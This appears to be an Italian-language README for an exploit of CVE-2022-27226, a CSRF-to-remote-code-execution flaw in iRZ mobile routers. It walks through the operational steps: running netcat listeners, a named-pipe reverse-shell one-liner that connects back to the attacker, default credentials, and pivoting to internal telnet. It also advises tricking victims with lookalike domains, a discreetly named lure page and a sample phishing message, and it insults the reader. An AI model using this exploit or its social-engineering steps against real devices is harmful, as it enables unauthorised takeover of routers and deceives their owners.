
Exploit per CVE-2022-27226
Exploit per CVE-2022-27226
Cross Site Request Forgery verso l'esecuzione di codice in remoto nei router mobili iRZ
<--Scoperta della vulnerabilità-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--Sviluppo dell'exploit-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
Un problema CSRF sui router mobili iRZ fino al 2022-03-16 consente a un attaccante di creare una voce crontab nel pannello di amministrazione del router. Il cronjob eseguirà quindi la voce all'intervallo definito dall'attaccante, portando a un'esecuzione di codice in remoto, consentendo all'attaccante di ottenere accesso al file system. Inoltre, se le credenziali predefinite del router non vengono modificate o se un attaccante scopre credenziali valide, l'esecuzione di codice in remoto può essere ottenuta senza interazione dell'utente.
Avviare due listener netcat prima di tentare di catturare una shell è fondamentale, perché il crontab, quando viene eseguito, ripeterà la stessa cronjob più volte e la shell morirà al ciclo successivo. Non puoi utilizzare nohup perché l'ambiente busybox è piuttosto restrittivo, e in alternativa potresti modificare l'exploit con un intervallo diverso per la voce crontab, tuttavia il modo migliore per superare questo problema senza preoccuparsi dell'intervallo del crontab è utilizzare più listener per la prima cattura della reverse shell.
È stato scoperto che nella maggior parte dei casi i router non hanno la porta telnet aperta esternamente - tuttavia, una volta ottenuta l'esecuzione di codice in remoto, puoi utilizzare telnet per sistemare la TTY per la maggior parte. Per farlo, devi avere le credenziali. Se stai utilizzando l'intera catena da CSRF a RCE, ti consigliamo di creare un template PoC CSRF più completo che registri l'evento di login dell'utente o gli header che possono contenere l'header di autorizzazione di base che viene tradotto nello script.
Le credenziali predefinite per questi router sono tipicamente root:root o admin:admin. Se hai le credenziali, esegui:
python cve.py
Segui le istruzioni, che sono piuttosto semplici, poi avvia due listener netcat su due porte separate.
nc -lvp 443
nc -lvp 5000
Quando catturi una reverse shell nel primo listener, esegui di nuovo il one-liner della reverse shell per ottenere una shell persistente:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
Infine, se hai le credenziali (cosa che dovrebbe essere vera se stai usando questa parte del modulo) - prova a fare pivot sul servizio telnet limitato internamente:
telnet 0.0.0.0
"Ma se telnet è esposto esternamente?" Allora accedi al fottuto router con le credenziali, imbecille.
Le istruzioni per questo modulo sono quasi le stesse di quelle per la RCE post-autenticazione. La differenza principale è che non hai le credenziali.
Innanzitutto, per sfruttare la vulnerabilità in modo efficiente, devi capire come funziona. La CSRF richiede l'interazione dell'utente, il che significa che dovrai fare social engineering con qualcuno. Ci sono due scenari possibili: l'utente è autenticato quando clicca il pulsante del proof of concept, oppure l'utente non è autenticato. Se è già autenticato al router, la richiesta POST per creare la cronjob verrà inviata all'API e l'utente vedrà una pagina vuota. Se non è autenticato, l'utente riceverà un prompt di autenticazione di base - e per comodità, il popup di autenticazione di base mostrerà l'IP del router vittima; se inserisce le proprie credenziali, la richiesta POST viene inviata all'API.
Consigliamo di provare ad acquistare un dominio simile se il router vittima è ospitato su un sottodominio, oppure di trovare un provider con gli stessi intervalli di sottorete per i server se si tratta di un bersaglio ad alta priorità. Rifinire il PoC CSRF potrebbe valere la pena per un bersaglio prioritario.
Esegui lo script
python cve.py
Segui le istruzioni; lo script genererà quindi un template CSRF per te. Consigliamo di dargli un nome un po' più discreto.
mv poc.new.html index.html
Ospita il PoC sul tuo server, preferibilmente sulla stessa porta del router vittima.
python3 -m http.server 80
Prendi il link e invialo alla vittima, assicurandoti di aggiungere il nome del file PoC alla fine dell'URL:
Hi sweetie, can you login to router pwease:
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html